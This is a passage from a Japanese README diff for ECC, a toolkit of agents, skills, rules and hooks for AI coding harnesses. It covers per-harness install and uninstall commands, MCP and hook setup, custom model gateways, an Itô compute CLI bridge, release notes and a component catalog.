内の信頼済みプロジェクト設定を読み取ります。同期フローの上にネイティブマーケットプレイス plugin を追加しないでください。 -## 主要概念 +リポジトリのナビゲーション、サーフェスの所有権、PR 差分パケットのガイダンスについては、[Codex ECC Navigation Map](../CODEX-NAVIGATION-GUIDE.md) を参照してください。ネイティブライフサイクルの詳細は [.codex plugin notes](../../.codex-plugin/README.md) を参照してください。 -### エージェント +### その他のエージェントとエディター -サブエージェントは限定的な範囲のタスクを処理します。例: +
+Cursor、OpenCode、Gemini、Zed、Antigravity、Qwen、Hermes、OpenClaw、Kimi、CodeBuddy、JoyCode、Copilot + +ECC を一度クローンし、使用しているハーネスに合ったターゲットを選択します。 + +```bash +git clone https://github.com/affaan-m/ECC.git +cd ECC +``` + +| ハーネス | インストールまたはセットアップ | 備考 | +|---|---|---| +| Cursor | `./install.sh --profile minimal --target cursor` | プロジェクトローカルの `.cursor/` アダプター | +| OpenCode | `npm install && npm run build:opencode && ./install.sh --profile full --target opencode --enable-hooks` | フルインストールの前に plugin ペイロードをビルド | +| Gemini CLI | `./install.sh --profile minimal --target gemini` | プロジェクトローカルの `.gemini/` 設定 | +| Zed | `./install.sh --profile minimal --target zed` | プロジェクトローカルの `.zed/` アダプター | +| Antigravity | `./install.sh --profile minimal --target antigravity` | [Antigravity ガイド](../ANTIGRAVITY-GUIDE.md)を参照 | +| Qwen CLI | `./install.sh --profile minimal --target qwen` | [Qwen ガイド](../QWEN-GUIDE.md)を参照 | +| Hermes | `./install.sh --profile minimal --target hermes` | [Hermes セットアップガイド](../HERMES-SETUP.md)を参照 | +| OpenClaw | `./install.sh --profile minimal --target openclaw` | 管理されたホームディレクトリインストール | +| Kimi Code CLI | `./install.sh --profile minimal --target kimi` | プロジェクトローカルの `.kimi-code/` インストール · [Kimi Code を入手](https://www.kimi.ai/code?aff=ecc) | +| CodeBuddy | `./install.sh --profile minimal --target codebuddy` | プロジェクトローカルの `.codebuddy/` インストール | +| JoyCode | `./install.sh --profile minimal --target joycode` | プロジェクトローカルの `.joycode/` インストール | + +GitHub Copilot のサポートはすでにこのリポジトリに含まれています。`.github/copilot-instructions.md` が指示レイヤーを提供し、`.github/prompts/` には再利用可能な `/plan`、`/tdd`、`/security-review`、`/build-fix`、`/refactor` のプロンプトが含まれ、`.vscode/settings.json` が `chat.promptFiles` を有効にします。 + +ネイティブの ECC ターゲットがないハーネスには、[手動適用ガイド](../MANUAL-ADAPTATION-GUIDE.md)を使用してください。hooks やネイティブの skill 検出が利用できるふりをせずに、少数の ECC skills とワークフロー指示をチャット型ツールに持ち込む方法を説明しています。 + +Cursor は agent 定義を `.cursor/agents/ecc-*.md` 配下にインストールします。Cursor ネイティブのロード動作は Cursor のビルドによって異なる場合があります。ECC はルートの `AGENTS.md` を `.cursor/` にインストールしません。このアダプターは Cursor のコンテキストをネイティブの rules と agent サーフェスに限定します。 + +ハーネスごとの詳細な注記(機能の同等性、hook アダプター、制限事項)は、下記の[プラットフォームサポート](#プラットフォームサポート)にあります。 +
+ +## 高度なインストールオプション + +
+hook ランタイムなしの低コンテキストインストール + +### 低コンテキスト / hooks なしパス + +ランタイム hooks なしで ECC の rules、agents、commands、プラットフォーム設定、コアワークフローを使いたい場合はこちらを使用します。 + +```bash +npx ecc-universal@2.2.1 install --profile minimal --target claude +``` + +ソースチェックアウトからの同等のコマンドは次のとおりです。 + +```bash +./install.sh --profile minimal --target claude +``` + +Windows: + +```powershell +.\install.ps1 --profile minimal --target claude +``` + +このプロファイルは意図的に `hooks-runtime` を除外しています。 + +Claude の手動インストールでは、Claude Code が検出できるように各 skill を `~/.claude/skills//`(`claude-project` の場合は `.claude/skills//`)の直下に配置します。古い ECC 手動インストールをアップグレードする場合、インストーラーは ECC のインストール状態に記録されたネストされた `skills/ecc/` ファイルのみを移行します。フラットな skill ディレクトリがユーザー所有の場合、ECC はそれを保持して競合の警告を表示し、ユーザーファイルを上書きする代わりに、古い管理コピーを安全なアンインストールのために追跡し続けます。 + +hooks を無効にした通常の core プロファイルの場合: + +```bash +./install.sh --profile core --without baseline:hooks --target claude +./install.sh --profile core --no-hooks --target claude +``` + +hook ランタイムが必要になった場合にのみ、後から追加します。 + +```bash +./install.sh --target claude --modules hooks-runtime --enable-hooks +``` + +プロファイルまたはモジュールによって hook ランタイムが実体化されるインストールでは、 +明示的な決定が必要です。`--enable-hooks` も `--no-hooks` も指定されていない場合、 +インストーラーは hooks でできることを表示し、何も書き込まずに停止します。ガイド付き +インストーラー(`ecc install --guided`)はこの選択を対話的に尋ねます。 +
+ +
+必要なコンポーネントだけを選ぶ + +### まず適切なコンポーネントを見つける + +同梱のアドバイザーに、あなたの作業に合うコンポーネントを尋ねてください。 + +```bash +node scripts/ecc.js consult "security reviews" --target claude +``` + +一致するコンポーネント、関連するプロファイル、プレビュー/インストールコマンドが返されます。正確なファイル計画を確認したい場合は、インストール前にプレビューコマンドを使用してください。 + +明示的に skills や capability を指定してインストールすることもできます。 + +```bash +./install.sh --target claude --skills tdd-workflow,security-review +node scripts/ecc.js install --profile minimal --target claude --with capability:machine-learning +``` + +コンポーネントごとの手動コピーも可能です。各コンポーネントは完全に独立しています。 + +```bash +# agents のみ +cp agents/*.md ~/.claude/agents/ + +# rules ディレクトリ(common + 言語固有) +mkdir -p ~/.claude/rules/ecc +cp -r rules/common ~/.claude/rules/ecc/ +cp -r rules/typescript ~/.claude/rules/ecc/ # 使用しているスタックを選択 + +# コア/汎用 skills のみ(Claude Code は ~/.claude/skills の直下から skills をロードします。 +# 手動インストールを ~/.claude/skills/ecc/ 配下にネストしないでください) +mkdir -p ~/.claude/skills +cp -r .agents/skills/* ~/.claude/skills/ +cp -r skills/search-first ~/.claude/skills/ + +# オプション: 移行期間中に維持されるスラッシュコマンド互換 +mkdir -p ~/.claude/commands +cp commands/*.md ~/.claude/commands/ +``` + +廃止されたシムは `legacy-command-shims/` にあります。`/tdd` などの古い名前がまだ必要な場合にのみ、そこから個別のファイルをコピーしてください。 +
+ +
+グローバル rules の代わりにプロジェクトローカル rules を使う + +ECC の標準をすべての Claude Code セッションではなく一つのリポジトリにだけ適用したい場合は、プロジェクトローカル rules を使用します。 + +```bash +cd your-project +mkdir -p .claude/rules/ecc +cp -R /path/to/ECC/rules/common .claude/rules/ecc/ +cp -R /path/to/ECC/rules/typescript .claude/rules/ecc/ +``` + +rules は常時ロードされるコンテキストなので、`common` と実際に使用しているスタックのパック一つから始めてください。rules を手動でコピーする際は、相対参照が機能し続け、ファイル名が衝突しないように、中のファイルではなく言語ディレクトリ全体(たとえば `rules/common` や `rules/golang`)をコピーしてください。 +
+ +
+完全手動の Claude インストール + +plugin パスを意図的にスキップする場合にのみ使用してください。 + +```bash +git clone https://github.com/affaan-m/ECC.git +cd ECC +./install.sh --profile full +``` + +Windows: + +```powershell +git clone https://github.com/affaan-m/ECC.git +cd ECC +.\install.ps1 --profile full +``` + +このパスを選んだ場合は、そこで止めてください。`/plugin install` を追加で実行しないでください。 + +厳選した手動インストールの場合、Claude は `~/.claude/skills/` の直下の子として skills を検出します。`~/.claude/skills/ecc/` 配下にネストしないでください。 + +#### hooks のインストール + +リポジトリの生の `hooks/hooks.json` を `~/.claude/settings.json` や `~/.claude/hooks/hooks.json` にコピーしないでください。そのファイルは plugin/リポジトリ向けのものです。hook コマンドのパスが正しく書き換えられるよう、インストーラーを使用してください。 + +```bash +bash ./install.sh --target claude --modules hooks-runtime --enable-hooks +``` + +これにより hook スクリプトが `~/.claude/` 配下にインストールされ、解決済みの +hook エントリが `~/.claude/settings.json` に登録されます。既存のユーザー設定と hooks は +保持されます。ECC 所有のエントリは安定した ID で追跡されるため、冪等な更新と +安全なアンインストールが可能です。 + +`/plugin install` で ECC をインストールした場合は、それらの hooks を `settings.json` にコピーしないでください。Claude Code v2.1+ はすでに plugin の `hooks/hooks.json` を自動ロードしており、`settings.json` に重複させると二重実行やクロスプラットフォームの hook 競合が発生します。 + +Windows では、Claude の設定ルートは `%USERPROFILE%\.claude` です。hook ランタイムは次のようにインストールしてください。 + +```powershell +pwsh -File .\install.ps1 --target claude --modules hooks-runtime --enable-hooks +``` + +#### MCP の設定 + +Claude plugin インストールは、ECC に同梱された MCP サーバー定義を意図的に自動有効化しません。これにより、厳格なサードパーティゲートウェイでの plugin MCP ツール名の長すぎる問題を回避しつつ、手動での MCP セットアップは引き続き可能です。 + +稼働中の Claude Code サーバー変更には、Claude Code の `/mcp` コマンドまたは CLI 管理の MCP セットアップを使用してください。Claude Code はそれらの選択を `~/.claude.json` に永続化します。リポジトリローカルの MCP アクセスには、`mcp-configs/mcp-servers.json` から必要な MCP サーバー定義をプロジェクトスコープの `.mcp.json` にコピーしてください。 + +ECC が同梱するデフォルトコネクターはちょうど一つ(`chrome-devtools`)だけです。それ以外はすべて CLI/REST API をラップする skill か、オプトインのカタログエントリです。このルールと、以前の六つのデフォルトを廃止した 2026年6月の監査は [docs/MCP-CONNECTOR-POLICY.md](../MCP-CONNECTOR-POLICY.md) にあります。 + +ECC 同梱の MCP を自分でも別途実行している場合は、次を設定してください。 + +```bash +export ECC_DISABLED_MCPS="chrome-devtools" +``` + +ECC 管理のインストールおよび Codex 同期フローは、重複を再追加する代わりに、それらの同梱サーバーをスキップまたは削除します。`ECC_DISABLED_MCPS` は ECC のインストール/同期フィルターであり、稼働中の Claude Code のトグルではありません。 + +**重要:** `YOUR_*_HERE` プレースホルダーを実際の API キーに置き換えてください。 +
+ +
+マルチモデル commands には追加のセットアップが必要 + +`multi-*` commands は、基本の plugin/rules インストールには**含まれていません**。 + +`/multi-plan`、`/multi-execute`、`/multi-backend`、`/multi-frontend`、`/multi-workflow` を使用するには、`ccg-workflow` ランタイムもインストールする必要があります。[上流の CCG インストールガイド](https://github.com/fengshao1227/ccg-workflow#readme)を使って正確なリリースを選択・レビューし、そのインストール済みランタイムを初期化してください。ECC は CCG を同梱しておらず、互換性があり監査済みの CCG リリースを保証するものでもありません。このガイドは、特定されていないレジストリバージョンをブートストラップしません。 + +このランタイムは、これらの commands が期待する外部依存関係を提供します。たとえば次のものです。 + +- `~/.claude/bin/codeagent-wrapper` +- `~/.claude/.ccg/prompts/*` + +`ccg-workflow` がない場合、これらの `multi-*` commands は正しく動作しません。 +
+ +
+リセット、修復、またはアンインストール + +### ECC のリセット / アンインストール + +ユニバーサルパッケージからインストールした場合は、インストール時に使用したのと同じ +プロジェクトディレクトリから次のコマンドを実行してください。 + +```bash +npx ecc-universal@2.2.1 list-installed +npx ecc-universal@2.2.1 doctor +npx ecc-universal@2.2.1 repair +npx ecc-universal@2.2.1 uninstall --dry-run +npx ecc-universal@2.2.1 uninstall +``` + +ソースチェックアウトからの場合は、再インストールの前に管理状態を確認してください。 + +```bash +node scripts/ecc.js list-installed +node scripts/ecc.js doctor +node scripts/ecc.js repair +node scripts/ecc.js uninstall --dry-run +``` + +ソースチェックアウトから直接アンインストールするには次を実行します。 + +```bash +node scripts/uninstall.js --dry-run +node scripts/uninstall.js +``` + +ECC をやめる場合、アンインストールコマンドは任意の[20秒フィードバックフォーム](https://github.com/affaan-m/ECC/issues/new?template=quick-feedback.yml)を表示します。これは公開の GitHub issue であり、アンインストールを妨げることはなく、ECC が診断情報をアップロードすることもありません。問題報告、フィードバック、機能要望の窓口を確認するには、いつでも `ecc feedback` を実行できます。 + +plugin ユーザーは Claude Code から plugin を削除し、その後、手動でコピーして不要になった rule フォルダーだけを削除してください。ECC はインストール状態に記録されたファイルのみを削除します。ハーネスディレクトリ内の無関係なファイルを自分のものとして扱うことはありません。 + +複数の方法を重ねてしまった場合は、次の順序でクリーンアップしてください。 + +1. Claude Code plugin のインストールを削除します。 +2. 管理対象の install-state を含むプロジェクトディレクトリから ECC のアンインストールコマンドを実行します。 +3. 手動でコピーした、もう不要な rules フォルダーを削除します。 +4. 単一の経路を使って一度だけ再インストールします。 +
+ +## ECC を使い始める + +カタログ全体ではなく、必要なワークフローから始めましょう。 + +| やりたいこと | ここから始める | +|---|---| +| 機能を構築する | `/ecc:plan "describe the feature"`、その後 `tdd-workflow` | +| バグを修正する | 失敗するテストで再現してから `tdd-workflow` を使用 | +| 新しいコードをレビューする | `/code-review` で新しいコンテキストからのレビュー | +| ビルドを修復する | `/build-fix` | +| コードベースをクリーンアップする | `/refactor-clean` | +| コンテキストの圧迫を確認する | `/context-budget` | +| 長いセッションを終える | `/save-session` または `/learn-eval` | +| 後で再開する | `/resume-session` | +| agent 設定を監査する | レビュー済みのスキャナーで `/security-scan`、またはインストール済みの `agentshield scan --path .` | + +
+Plugin コマンドと手動コマンド + +Claude Code の plugin コマンドはネームスペース付きの形式を使います: + +```text +/ecc:plan "Add authentication" +``` + +手動インストールでは、より短い互換形式が使える場合があります: + +```text +/plan "Add authentication" +``` + +Skills が主要なワークフローの入口です。コマンドは便利なエントリーポイントおよび互換シムとして残っています。インストール済みの内容は次のコマンドで確認できます: + +```bash +/plugin list ecc@ecc +``` +
+ +
+どの agent を使えばよいですか? + +Skills が正規のワークフローの入口です。メンテナンスされているスラッシュエントリーは、コマンドファーストのワークフロー向けに引き続き利用できます。 + +| やりたいこと | 使う入口 | 使用される agent | +|--------------|-----------------|------------| +| 新機能を計画する | `/ecc:plan "Add auth"` | planner | +| システムアーキテクチャを設計する | `/ecc:plan` + architect agent | architect | +| テストファーストでコードを書く | `tdd-workflow` skill | tdd-guide | +| 書いたばかりのコードをレビューする | `/code-review` | code-reviewer | +| 失敗するビルドを修正する | `/build-fix` | build-error-resolver | +| エンドツーエンドテストを実行する | `e2e-testing` skill | e2e-runner | +| セキュリティ脆弱性を見つける | `/security-scan` | security-reviewer | +| デッドコードを削除する | `/refactor-clean` | refactor-cleaner | +| ドキュメントを更新する | `/update-docs` | doc-updater | +| Go コードをレビューする | `/go-review` | go-reviewer | +| Python コードをレビューする | `/python-review` | python-reviewer | +| F# コードをレビューする | *(`fsharp-reviewer` を直接呼び出す)* | fsharp-reviewer | +| TypeScript/JavaScript コードをレビューする | *(`typescript-reviewer` を直接呼び出す)* | typescript-reviewer | +| HarmonyOS アプリを開発する | *(`harmonyos-app-resolver` を直接呼び出す)* | harmonyos-app-resolver | +| データベースクエリを監査する | *(自動委譲)* | database-reviewer | +| 本番 ML の変更をレビューする | `mle-workflow` skill + `mle-reviewer` agent | mle-reviewer | + +
+ +
+よくあるワークフロー + +以下のスラッシュ形式は、メンテナンスされているコマンド群に残っているものを示しています。`/tdd` や `/eval` のような廃止された短縮名シムは、明示的なオプトイン専用として `legacy-command-shims/` にあります。 + +**新機能を始める:** +``` +/ecc:plan "Add user authentication with OAuth" + -> planner creates implementation blueprint +tdd-workflow skill -> tdd-guide enforces write-tests-first +/code-review -> code-reviewer checks your work +``` + +**バグを修正する:** +``` +tdd-workflow skill -> tdd-guide: write a failing test that reproduces it + -> implement the fix, verify test passes +/code-review -> code-reviewer: catch regressions +``` + +**本番環境に向けた準備:** +``` +/security-scan -> security-reviewer: OWASP Top 10 audit +e2e-testing skill -> e2e-runner: critical user flow tests +/test-coverage -> verify 80%+ coverage +``` +
+ +## セルフホストモデルとカスタムエンドポイント + +ECC は各ハーネスの通常の設定を通じて動作するため、ECC のワークフローを変更することなく、公式プロバイダー、互換性のあるカスタム API エンドポイントやモデルゲートウェイ、あるいはセルフホストモデルを利用できます。 + +Claude Code について、ECC は Anthropic ホストのトランスポート設定をハードコードしていません。最小限のゲートウェイの例: + +```bash +export ANTHROPIC_BASE_URL=https://your-gateway.example.com +export ANTHROPIC_AUTH_TOKEN=your-token +claude +``` + +ゲートウェイがモデル名を再マッピングする場合は、ECC ではなく Claude Code 側で設定してください。`claude` CLI がすでに動作している状態であれば、ECC の hooks、skills、コマンド、rules はモデルプロバイダーに依存しません。Anthropic の [LLM ゲートウェイドキュメント](https://docs.anthropic.com/en/docs/claude-code/llm-gateway) と [モデル設定ドキュメント](https://docs.anthropic.com/en/docs/claude-code/model-config) を参照してください。 + +そのゲートウェイの背後で任意のオープンソースモデルを実行またはセルフホストするには、別途コンピュートとサービングのセットアップが必要です。GPU 容量が必要な場合、[Itô](https://compute.itomarkets.com) は ECC の推奨コンピュートスポンサーですが、どの GPU プロバイダーでも動作します。このスポンサーシップのリンクは受動的なものです。RFQ の発行、容量の予約、コンピュートのプロビジョニング、サービングの設定は行いません。これとは別に、`ecc ito find` は明示的に設定された正規の Itô CLI を呼び出し、認証済みのライブ RFQ を送信しますが、容量の予約は行いません。Itô によるマネージド推論はまだ提供されていません。 + +### ECC + Itô コンピュートで Kimi をセルフホストする + +Kimi Code ハーネスとモデルサービングレイヤーは別物です。ECC は agent ハーネスを設定します。API エンドポイントを用意する([Kimi API キーを取得](https://platform.kimi.ai?aff=ecc))か、自身の GPU 容量でオープンウェイトの Kimi モデルをセルフホストするのはユーザー側です。このアダプターは Kimi Code 0.31.x(`@moonshot-ai/kimi-code`)で検証済みです: + + + + + + + +
+ + Itô Markets
+ 1. GPU 容量を確保する +

+ Itô または任意の GPU プロバイダーを利用します。 +
+ + Moonshot AI - Kimi
+ 2. Kimi をサーブする +

+ 選択したチェックポイントを互換エンドポイント経由で公開します。 +
+ + ECC Tools
+ 3. ECC で Kimi Code を実行する +

+ プロジェクトの指示と skills をインストールし、Kimi Code を起動します。 +
+ +Kimi Code の公式プロバイダーガイドに従ってエンドポイントを設定し、ECC をインストールします: + +```bash +bash ./install.sh --target kimi --profile minimal +node scripts/ecc.js doctor --target kimi +kimi +``` + +Kimi Code はインストールされた `.kimi-code/AGENTS.md` の指示と `.kimi-code/skills/` のワークフローをネイティブに検出します。プロジェクトレベルの `.agents/skills/` も公式の検出場所です。ECC はプロジェクトの MCP エントリーを `.kimi-code/mcp.json` に安全にマージし、ユーザーレベルの `~/.kimi-code/config.toml` は変更しません。Kimi Code はネイティブ hooks をサポートしていますが、ECC の現在のマネージドプロジェクトアダプターはそれらを設定しないため、このインストーラーは Kimi の hook プロファイルを提供しません。インストーラーのドライランと回帰テストスイートにより、マネージドな Kimi への書き込みがすべてプロジェクトローカルの `.kimi-code/` ルート内に収まることが検証されています。 + +### Itô コンピュート CLI ブリッジ + +`ecc ito` は別途インストールされた正規の Itô クライアントに委譲します。ECC は 2 つ目の API クライアントを保守しません。`ecc ito login [--no-browser]` はデバイス認可を実行し、デフォルトで Itô の検証ページを開き、デバイストークンを macOS Keychain に保存します。`--no-browser` はページの引き渡しを抑制します。ECC 自体はブラウザ自動化を行いません。`ecc ito auth` は検証専用で、`--no-browser` を拒否します。利用可能な操作は `ecc ito login`、`ecc ito auth`、`ecc ito find`、`ecc ito status`、および別途ゲートされた `ecc ito evals` です。対応する MCP ツールは引き続き `ito_auth`、`ito_find`、`ito_status` です。`ito_auth` は既存の認証情報を検証し、ノード資格の確認は CLI 専用です。 + +`ito-compute-cli` パッケージは現在未公開です。Itô ランタイムリポジトリ(デスクの堅牢化が進むまで非公開。デザインパートナーにはアクセス権が提供されます)の `cli/ito-compute-cli` からローカルでビルドし、`npm ci` と `npm run check` を実行してから、`ECC_ITO_CLI_EXECUTABLE` にそのビルドの `dist/bin/ito.js` の絶対パスを設定してください。login は `ITO_API_KEY` を決して継承しません。auth、find、status は設定されていれば `ITO_API_KEY` を直接転送し、`ITO_AUTH_MODE=legacy` は不要です。`ecc ito logout` は現在のデバイス認証情報を失効させ、リモートでの失効が確認できない場合はローカルコピーを保持します。デバイストークンはデフォルトで macOS Keychain を使用します。明示的なファイルフォールバックでは、所有者のみがアクセスできるディレクトリ/ファイルのパーミッションを維持する必要があります。ECC はこの認証情報を持つクライアントを `PATH` 経由で検出しません。RFQ の権限と MCP セットアップの契約の全容については [`ito-compute` skill](../../skills/ito-compute/SKILL.md) を参照してください。 + +`find` は認証済みのライブ RFQ を送信します。容量の予約は行いません。`evals` には `ITO_ENABLE_SIXTYTWO_LIVE=1` と `--live-sixtytwo` の両方、別途インストールされた `sixtytwo-cli==0.3.33`、明示的なノードリスト、および既存の絶対パスの設定ディレクトリが必要です。レンタル、起動、復旧、修復、購入はできません。ECC は見積もりロック、購入、ワークロード、推論のいずれの経路も公開せず、クライアントの欠如やライブ呼び出しの失敗をローカルの結果で置き換えることも決してありません。 + +## 新機能 + +現在のリリース:**2.2.1**(2026-08-31)。2.2 系のハイライト: + +- Claude Code、Codex、Kimi Code にわたるガイド付きのマニフェスト駆動セットアップ。install-state の所有権管理、doctor、repair、uninstall を備えています。 +- ネイティブの Antigravity インストール、薄い Pi アダプター、そして Linux、macOS、Windows でテストされたパック済みアーティファクトのリリースゲート。 +- Plan Canvas によるブラウザレビュー、統合メモリボールト(`ecc memory`)、Itô コンピュート skill ファミリー。 + +完全な履歴:[CHANGELOG.md](../../CHANGELOG.md)。リリースごとのノートとエビデンスは [docs/releases/](../releases/) にあります。 + +### v2.0.0: Agent Harness Operating System(2026年6月) + +2.0 系の安定版への昇格:コントロールペーン基盤、worktree ライフサイクルサービス、`orch-*` オーケストレーターファミリー、Discord コミュニティ。ノート:[docs/releases/2.0.0/release-notes.md](../releases/2.0.0/release-notes.md)。 + +## 中身 + +```text +ECC/ +|-- agents/ # 委譲用の 68 の専門サブエージェント +|-- skills/ # オンデマンドで読み込まれる 292 の再利用可能なワークフロー +|-- commands/ # メンテナンスされている 94 のスラッシュコマンドシム +|-- rules/ # オプトインの共通標準と言語別標準 +|-- hooks/ # ランタイムの自動化と強制 +|-- scripts/ # インストール、修復、同期、オーケストレーション、チェック +|-- .claude-plugin/ # Claude Code マーケットプレイスマニフェスト +|-- .codex/ # Codex リファレンス設定と agent ロール +|-- .opencode/ # OpenCode plugin、コマンド、指示 +|-- .cursor/ # Cursor rules と hook アダプター +|-- docs/ # 公開されたセットアップ、アーキテクチャ、運用ガイド +``` + +ルートが信頼できる唯一の情報源です。プラットフォームアダプターは、別のコピーを保守するのではなく、これらの同じワークフローをパッケージ化またはマッピングします。 + +
+注釈付きコンポーネントカタログ + +``` +ECC/ +|-- .claude-plugin/ # Plugin とマーケットプレイスのマニフェスト +| |-- plugin.json # Plugin メタデータとコンポーネントパス +| |-- marketplace.json # /plugin marketplace add 用のマーケットプレイスカタログ +| +|-- agents/ # 委譲用の 67 の専門サブエージェント +| |-- planner.md # 機能実装の計画 +| |-- architect.md # システム設計の意思決定 +| |-- tdd-guide.md # テスト駆動開発 +| |-- code-reviewer.md # 品質とセキュリティのレビュー +| |-- security-reviewer.md # 脆弱性分析 +| |-- build-error-resolver.md +| |-- e2e-runner.md # Playwright E2E テスト +| |-- refactor-cleaner.md # デッドコードのクリーンアップ +| |-- doc-updater.md # ドキュメントの同期 +| |-- docs-lookup.md # ドキュメント/API の検索 +| |-- chief-of-staff.md # コミュニケーションのトリアージと下書き +| |-- loop-operator.md # 自律ループの実行 +| |-- harness-optimizer.md # ハーネス設定のチューニング +| |-- cpp-reviewer.md # C++ コードレビュー +| |-- cpp-build-resolver.md # C++ ビルドエラーの解決 +| |-- fsharp-reviewer.md # F# 関数型コードレビュー +| |-- go-reviewer.md # Go コードレビュー +| |-- go-build-resolver.md # Go ビルドエラーの解決 +| |-- python-reviewer.md # Python コードレビュー +| |-- database-reviewer.md # データベース/Supabase レビュー +| |-- typescript-reviewer.md # TypeScript/JavaScript コードレビュー +| |-- java-reviewer.md # Java/Spring Boot コードレビュー +| |-- java-build-resolver.md # Java/Maven/Gradle ビルドエラー +| |-- kotlin-reviewer.md # Kotlin/Android/KMP コードレビュー +| |-- kotlin-build-resolver.md # Kotlin/Gradle ビルドエラー +| |-- harmonyos-app-resolver.md # HarmonyOS/ArkTS アプリ開発 +| |-- rust-reviewer.md # Rust コードレビュー +| |-- rust-build-resolver.md # Rust ビルドエラーの解決 +| |-- pytorch-build-resolver.md # PyTorch/CUDA トレーニングエラー +| |-- mle-reviewer.md # 本番 ML パイプライン、評価、サービング、監視のレビュー +| +|-- skills/ # ワークフロー定義とドメイン知識 +| |-- coding-standards/ # 言語別ベストプラクティス +| |-- clickhouse-io/ # ClickHouse 分析、クエリ、データエンジニアリング +| |-- backend-patterns/ # API、データベース、キャッシュのパターン +| |-- frontend-patterns/ # React、Next.js のパターン +| |-- frontend-slides/ # HTML スライドデッキと PPTX から Web へのプレゼンテーションワークフロー +| |-- article-writing/ # 汎用的な AI 口調を避け、指定された文体で書く長文ライティング +| |-- content-engine/ # マルチプラットフォームのソーシャルコンテンツと再利用ワークフロー +| |-- market-research/ # 出典を明記した市場、競合、投資家のリサーチ +| |-- investor-materials/ # ピッチデッキ、ワンページャー、メモ、財務モデル +| |-- investor-outreach/ # パーソナライズされた資金調達アウトリーチとフォローアップ +| |-- continuous-learning/ # レガシー v1 の Stop hook によるパターン抽出 +| |-- continuous-learning-v2/ # 信頼度スコアリング付きの instinct ベース学習 +| |-- iterative-retrieval/ # サブエージェント向けの段階的なコンテキスト精緻化 +| |-- strategic-compact/ # 手動コンパクション提案(長文ガイド) +| |-- tdd-workflow/ # TDD 方法論 +| |-- security-review/ # セキュリティチェックリスト +| |-- eval-harness/ # 検証ループ評価(長文ガイド) +| |-- verification-loop/ # 継続的検証(長文ガイド) +| |-- videodb/ # 動画と音声:取り込み、検索、編集、生成、ストリーミング +| |-- golang-patterns/ # Go のイディオムとベストプラクティス +| |-- golang-testing/ # Go のテストパターン、TDD、ベンチマーク +| |-- cpp-coding-standards/ # C++ Core Guidelines に基づく C++ コーディング標準 +| |-- cpp-testing/ # GoogleTest、CMake/CTest による C++ テスト +| |-- django-patterns/ # Django のパターン、モデル、ビュー +| |-- django-security/ # Django セキュリティベストプラクティス +| |-- django-tdd/ # Django TDD ワークフロー +| |-- django-verification/ # Django 検証ループ +| |-- laravel-patterns/ # Laravel アーキテクチャパターン +| |-- laravel-security/ # Laravel セキュリティベストプラクティス +| |-- laravel-tdd/ # Laravel TDD ワークフロー +| |-- laravel-verification/ # Laravel 検証ループ +| |-- python-patterns/ # Python のイディオムとベストプラクティス +| |-- python-testing/ # pytest による Python テスト +| |-- quarkus-patterns/ # Java Quarkus パターン +| |-- quarkus-security/ # Quarkus セキュリティ +| |-- quarkus-tdd/ # Quarkus TDD +| |-- quarkus-verification/ # Quarkus 検証 +| |-- rails-patterns/ # Rails アーキテクチャパターン +| |-- springboot-patterns/ # Java Spring Boot パターン +| |-- springboot-security/ # Spring Boot セキュリティ +| |-- springboot-tdd/ # Spring Boot TDD +| |-- springboot-verification/ # Spring Boot 検証 +| |-- configure-ecc/ # インタラクティブインストールウィザード +| |-- security-scan/ # AgentShield セキュリティ監査ツールの統合 +| |-- java-coding-standards/ # Java コーディング標準 +| |-- jpa-patterns/ # JPA/Hibernate パターン +| |-- postgres-patterns/ # PostgreSQL 最適化パターン +| |-- nutrient-document-processing/ # Nutrient API によるドキュメント処理 +| |-- database-migrations/ # マイグレーションパターン(Prisma、Drizzle、Django、Go) +| |-- api-design/ # REST API 設計、ページネーション、エラーレスポンス +| |-- deployment-patterns/ # CI/CD、Docker、ヘルスチェック、ロールバック +| |-- docker-patterns/ # Docker Compose、ネットワーキング、ボリューム、コンテナセキュリティ +| |-- e2e-testing/ # Playwright E2E パターンと Page Object Model +| |-- content-hash-cache-pattern/ # ファイル処理向けの SHA-256 コンテンツハッシュキャッシュ +| |-- cost-aware-llm-pipeline/ # LLM コスト最適化、モデルルーティング、予算追跡 +| |-- regex-vs-llm-structured-text/ # 判断フレームワーク:テキスト解析における正規表現 vs LLM +| |-- swift-actor-persistence/ # actor によるスレッドセーフな Swift データ永続化 +| |-- swift-protocol-di-testing/ # テスト可能な Swift コードのためのプロトコルベース DI +| |-- search-first/ # コーディング前にリサーチするワークフロー +| |-- skill-stocktake/ # skills とコマンドの品質監査 +| |-- liquid-glass-design/ # iOS 26 Liquid Glass デザインシステム +| |-- foundation-models-on-device/ # FoundationModels による Apple オンデバイス LLM +| |-- swift-concurrency-6-2/ # Swift 6.2 Approachable Concurrency +| |-- mle-workflow/ # 本番 ML のデータ契約、評価、デプロイ、監視 +| |-- perl-patterns/ # モダン Perl 5.36+ のイディオムとベストプラクティス +| |-- perl-security/ # Perl セキュリティパターン、taint モード、安全な I/O +| |-- perl-testing/ # Test2::V0、prove、Devel::Cover による Perl TDD +| |-- autonomous-loops/ # 自律ループパターン:逐次パイプライン、PR ループ、DAG オーケストレーション +| |-- plankton-code-quality/ # Plankton hooks による書き込み時のコード品質強制 +| |-- codehealth-mcp/ # オプションの CodeScene Code Health MCP skill(オプトイン) +| |-- docs/examples/project-guidelines-template.md # プロジェクト固有 skills のテンプレート +| +|-- commands/ # メンテナンスされているスラッシュエントリーの互換層。skills/ を優先 +| |-- plan.md # /plan - 実装計画 +| |-- code-review.md # /code-review - 品質レビュー +| |-- build-fix.md # /build-fix - ビルドエラーの修正 +| |-- refactor-clean.md # /refactor-clean - デッドコードの削除 +| |-- quality-gate.md # /quality-gate - 検証ゲート +| |-- learn.md # /learn - セッション途中でのパターン抽出(長文ガイド) +| |-- learn-eval.md # /learn-eval - パターンの抽出、評価、保存 +| |-- checkpoint.md # /checkpoint - 検証状態の保存(長文ガイド) +| |-- setup-pm.md # /setup-pm - パッケージマネージャーの設定 +| |-- go-review.md # /go-review - Go コードレビュー +| |-- go-test.md # /go-test - Go TDD ワークフロー +| |-- go-build.md # /go-build - Go ビルドエラーの修正 +| |-- skill-create.md # /skill-create - git 履歴から skills を生成 +| |-- instinct-status.md # /instinct-status - 学習した instincts の表示 +| |-- instinct-import.md # /instinct-import - instincts のインポート +| |-- instinct-export.md # /instinct-export - instincts のエクスポート +| |-- evolve.md # /evolve - instincts をクラスタリングして skills に変換 +| |-- prune.md # /prune - 期限切れの保留中 instincts を削除 +| |-- pm2.md # /pm2 - PM2 サービスライフサイクル管理 +| |-- multi-plan.md # /multi-plan - マルチエージェントのタスク分解 +| |-- multi-execute.md # 